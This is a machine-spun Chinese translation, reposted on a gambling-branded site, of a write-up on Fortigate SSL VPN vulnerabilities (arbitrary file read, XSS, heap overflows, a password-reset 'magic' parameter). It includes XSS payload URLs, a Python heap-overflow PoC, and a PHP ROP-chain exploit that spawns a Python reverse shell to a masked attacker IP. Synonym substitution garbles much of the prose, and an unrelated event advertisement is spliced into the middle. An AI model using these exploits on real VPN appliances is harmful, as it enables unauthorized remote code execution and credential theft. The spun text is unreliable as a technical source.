Fortigate SSL VPN从破绽发掘到破绽应用剖析 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

Fortigate SSL VPN从破绽发掘到破绽应用剖析

申博_安全防护 申博 98次浏览 已收录 0个评论

上个月,我们宣布了Palo Alto Networks GlobalProtect RCE作为一个预热,现在这篇文章将是我们的主要研讨成果,假如你不能去Black Hat或DEFCON列入我们的演讲,能够进修下面的PPT!

· 像NSA一样渗入企业内部网:在SSL VPN主流 厂商的VPN上举行RCE破绽应用

0x00 研讨观察

故事始于客岁8月,当时我们最先了一个关于SSL VPN的新研讨项目。与站点到站点VPN(如IPSEC和PPTP)比拟,SSL VPN更易于运用,而且可与任何收集环境兼容,SSL VPN成为企业最盛行的长途接见体式格局!

然则,假如这个牢靠的装备不平安怎么办?它是一项主要的企业资产,但倒是公司的盲点。依据我们对500强公司的观察,前三大SSL VPN厂商占有了约75%的市场份额。SSL VPN的多样性很窄,因而,一旦我们发明龙头SSL VPN存在严峻破绽,其影响就会很大。

这类破绽也没有要领阻挠我们,因为SSL VPN必需暴露在互联网上。

在我们的研讨最先时,我们对龙头SSL VPN供应商的CVE数目举行了一些观察: 看起来Fortinet和Pulse Secure是最平安的。真的吗?作为一个myth buster,我们接受了这一应战并最先发掘Fortinet和Pulse Secure中的破绽!这篇文章就是关于进击Fortigate SSL VPN。

下一篇文章将是关于Pulse Secure,很出色,敬请关注!

Fortigate SSL VPN从破绽发掘到破绽应用剖析

0x01  Fortigate SSL VPN

Fortinet将其SSL VPN产品线称为Fortigate SSL VPN,这在中型企业中很罕见。互联网上有凌驾480,000台效劳器,在亚洲和欧洲很罕见。

我们能够经由历程URL辨认它/remote/login,这是Fortigate的手艺特性:

· 一体化(All-in-one)二进制文件

我们从文件体系最先研讨。我们试图列出/bin/下的一切二进制文件,发明一切标记链接都指向/bin/init。就像如许:

Fortigate将一切顺序和设置编译成一个二进制文件,这使得init异常巨大。 它包括数千个函数,没有标记! 它只包括SSL VPN的必要顺序,因而关于黑客很不友爱。 比方,以至没有/ bin / ls或/ bin / cat!`

· Web保卫历程

Fortigate上运行了2个Web界面。 一个是治理界面,在端口443上运用/ bin / httpsd处置惩罚。另一个是普通用户界面,默许情况下运用端口4433上的/ bin / sslvpnd处置惩罚。 一般,治理页面应限定在互联网上,因而我们只能接见用户界面。

经由历程我们的观察,我们发明Web效劳器是apache的修正版本,但它是2002年的apache。明显他们在2002年修正了apache并添加了自身的附加功用。 我们能够映照apache的源代码以加快我们的剖析。

在这两个Web效劳中,他们还将自身的apache模块编译成二进制文件来处置惩罚每一个URL途径。 我们能够找到一个指定处置惩罚顺序表并深入研讨它们!

· WebVPN

WebVPN是一种轻易的代办功用,它许可我们经由历程浏览器衔接到一切效劳。它支撑很多协定,如HTTP,FTP,RDP。它还能够处置惩罚种种Web资本,比方WebSocket和Flash。要正确处置惩罚网站,它会剖析HTML并为我们重写一切网址。这触及沉重的字符串操纵,很轻易发生内存破绽。

0x02 挖到的破绽

这是我们发明了几个破绽:

1.CVE-2018-13379:预受权恣意文件读取破绽

在猎取响应的言语文件时,它运用参数lang构建json文件途径:

 snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);

没有庇护,但会自动附加文件扩展名,我们只能读取json文件。 然则,实际上我们能够运用snprintf的功用。 依据手册,它最多将size-1写入输出字符串。 因而,我们只须要使它凌驾缓冲区大小,而且.json将被strip,然后就能够读取恣意文件了。

2.CVE-2018-13380:预认证XSS

有几个XSS:

 /remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E
 /remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29
 /message?title=x&msg=%26%23<svg/onload=alert(1)>;

3.CVE-2018-13381:预考证堆溢出破绽

在编码HTML实体代码时,有两个阶段,效劳器起首盘算编码字符串所需的缓冲区长度,然后编码到缓冲区。

在盘算阶段,比方,编码字符串为<is <,这应当占用5个字节。假如碰到&#,比方<,就会到场已编码的令牌,并直接盘算其长度。

 c = token[idx];
 if (c == '(' || c == ')' || c == '#' || c == '<' || c == '>')
     cnt += 5;
 else if(c == '&' && html[idx+1] == '#')
     cnt += len(strchr(html[idx], ';')-idx);

然则,长度盘算和编码历程之间存在不一致,编码部份的处置惩罚并不多:

 switch (c)
 {
     case '<':
         memcpy(buf[counter], "<", 5);
         counter += 4;
         break;
     case '>':
     // ...
     default:
         buf[counter] = c;
         break;
     counter++;
 }

假如我们输入歹意字符串&#<<<;,<依然被编码成<,所以效果应当是&#<<<;!这比预期的长度6个字节长很多,因而会致使堆溢出。

PoC以下:

 import requests
  data = {
     'title': 'x', 
     'msg': '&#' + '<'*(0x20000) + ';<', 
 }
 r = requests.post('https://sslvpn:4433/message', data=data)

4.CVE-2018-13382:奇异的后门

在登录页面中,我们找到了一个名为magic的特别参数,一旦参数相符硬编码字符串,就能够修正任何用户的暗码。

依据我们的观察显现,仍有大批的Fortigate SSL VPN没有打补丁。因而,考虑到其严峻性,我们不会走漏magic字符串。然则,CodeWhite的研讨人员已宣布这个破绽,其他进击者很快就会应用此破绽!请尽快更新Fortigate VPN!

5.CVE-2018-13383:受权后堆溢出破绽

这是WebVPN功用的破绽,在HTML中剖析JavaScript时,它会尝试运用以下代码将内容复制到缓冲区中:

 memcpy(buffer,js_buf,js_buf_len);

缓冲区大小固定为0x2000,但输入字符串不受限定。 因而,就会存在堆溢出破绽。值得注意的是,此破绽可能会溢出Null字节,这在我们的应用中很有效。

要触发此溢出,我们须要将破绽应用代码发送到HTTP效劳器上,然后让SSL VPN将我们的破绽应用代码以普通用户权限实行。

第一届DC·兰州极客沙龙 9月21日兰州开启安全新征程

网络安全态势 近年来,随着网络在个人、企业、政府及军事等领域的不断更新和应用,网络安全也进入到一个全新的时代,层出不穷的网络攻击,导致出现勒索病毒、信息泄露等一系列安全问题!即在网络安全形势日益严峻的今天,我们必须时刻高举“没有网络安全就没有国家安全”的鲜明旗帜,深入贯彻“中央网络安全和信息化领导小组”提出的建立高素质的网络安全和信息化人才队伍等一系列重要指示,严格遵守国家网络安全法律法规,使安全与发展并存! DEFCON简介 DEFCON•世

0x03 破绽应用代码开辟

我们将向你展现如安在没有身份考证的情况下从用户登录界面中举行RCE

1.CVE-2018-13381

我们的第一次尝试是应用pre-auth堆溢出。然则,此破绽存在一个基础缺点:它不会溢出Null字节。一般来讲,这不是一个严峻的题目。现在的堆应用手艺已克服了这个题目。但是,我们发明Fortigate上有几个停滞,使堆应用不稳定,难以掌握。

· Single thread, single process, single allocator Web保卫历程处置惩罚多个epoll()衔接,没有多历程或多线程,主历程和库运用的是雷同的堆,称为JeMalloc。这意味着,来自一切衔接的一切操纵的一切内存分派都在统一堆上。因而,堆空间真的很乱。

· 按期触发 这会滋扰堆空间致使没法掌握,我们没法掌握堆空间,因为它会被销毁掉。

· Apache分外的内存治理

直到衔接完毕才会有内存free(),我们没法在一个衔接中安排堆。实际上,这能够有效地减缓堆破绽,尤其是关于UAF的破绽。

· JeMalloc  JeMalloc隔离了元数据和用户数据,因而很难修正元数据并运用堆治理。另外,它集中了小的objects,这也限定了我们的应用。

我们被困在这里,然后我们挑选尝试另一种体式格局。假如有人胜利应用这一点,讨教教我们!

2.CVE-2018-13379 + CVE-2018-13383

这是pre-auth文件读取和post-auth堆溢出的组合。一个用于猎取身份考证,一个用于猎取shell。

· 取得身份考证

我们起首运用CVE-2018-13379来走漏会话文件。会话文件包括有价值的信息,比方用户名和明文暗码,能够让我们轻松登录到体系上。

· get shell

登录后,我们能够要求SSL VPN代办我们的歹意HTTP效劳器上的破绽,然后触发堆溢出。

因为上面提到的题目,我们须要一个很好的目的来溢出。我们没法细致掌握堆,但或许我们能够找到经常出现的something !但是,从这个巨大的顺序中找到如许一个目的是一项艰辛的事情,所以当时我们陷入困境……我们最先Fuzzing,试图取得有效的东西。

我们获得了一个风趣的crash, 我们能够掌握顺序计数器! 这就是为何我们喜好隐约测试:)

 Program received signal SIGSEGV, Segmentation fault.
 0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1
 2: /x $rax = 0x41414141
 1: x/i $pc
 => 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)
 (gdb)

crash发生在SSL_do_handshake()

 SSL_do_handshake()
 int SSL_do_handshake(SSL *s)
 {
     // ...
      s->method->ssl_renegotiate_check(s, 0);
      if (SSL_in_init(s) || SSL_in_before(s)) {
         if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
             struct ssl_async_args args;
              args.s = s;
              ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
         } else {
             ret = s->handshake_func(s);
         }
     }
     return ret;
 }

我们覆盖了struct SSL内里的函数表挪用要领,所以当顺序试图实行s-> method-> ssl_renegotiate_check(s,0);时,它就崩溃了。

这是我们应用的抱负目的! 构造SSL的分派能够很轻易地触发,而且大小靠近我们的JaveScript缓冲区,所以它能够在我们的缓冲区四周有一个通例的偏移量! 依据代码,我们能够看到ret = s-> handshake_func(s); 挪用函数指针,这是掌握顺序流的圆满挑选。

如许我们的应用计划就明白了:

起首运用具有大批一般要求的SSL构造来做堆喷,然后溢出SSL构造。

Fortigate SSL VPN从破绽发掘到破绽应用剖析

 <?php
     function p64($address) {
         $low = $address & 0xffffffff;
         $high = $address >> 32 & 0xffffffff;
         return pack("II", $low, $high);
     }
     $junk = 0x4141414141414141;
     $nop_func = 0x32FC078;
      $gadget  = p64($junk);
     $gadget .= p64($nop_func - 0x60);
     $gadget .= p64($junk);
     $gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ;
     $gadget .= p64($junk);
     $gadget .= p64($junk);
     $gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;
     $gadget .= p64(0x1bed1f6); // pop rax ; ret ;
     $gadget .= p64(0x58);
     $gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret  ;
     $gadget .= p64(0x1366639); // call system ;
     $gadget .= "python -c 'import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);' xx.xxx.xx.xx /bin/sh;";
      $p  = str_repeat('AAAAAAAA', 1024+512-4); // offset
     $p .= $gadget;
     $p .= str_repeat('A', 0x1000 - strlen($gadget));
     $p .= $gadget;
 ?>
 <a href="javascript:void(0);<?=$p;?>">xxx</a>

PoC能够分为三个部份。

1.Fake SSL structure

SSL构造对缓冲区有一个通例的偏移量,因而能够精确地捏造它。为了防止崩溃,我们将要领设置为包括void函数指针的位置。此时的参数是SSL构造自身,然则,要领前面只要8个字节。我们不能在HTTP效劳器上简朴地挪用system(“/ bin / sh”),这对我们拿到shell敕令来讲还不够。

因为二进制文件很大,很轻易找到ROP gadgets,发明了一个有效的客栈数据:

 push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;

因而我们将handshake_func设置为此gadgets,将rsp挪动到SSL构造,并举行进一步的ROP进击。

2.ROP chain

这里的ROP链很简朴,轻微向前挪动rdi,如许反向shell敕令就有了充足的空间。

3.Overflow string

末了,我们衔接overflow padding and exploit,一旦溢出SSL构造胜利,就会获得shell。

0x04 破绽应用演示

ROP链payload

Fortigate SSL VPN从破绽发掘到破绽应用剖析

能够获得shell敕令

Fortigate SSL VPN从破绽发掘到破绽应用剖析

溢出字符串

Fortigate SSL VPN从破绽发掘到破绽应用剖析

胜利拿到shell

本文翻译自:https://blog.orange.tw/2019/08/attacking-ssl-vpn-part-2-breaking-the-fortigate-ssl-vpn.html


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明Fortigate SSL VPN从破绽发掘到破绽应用剖析
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址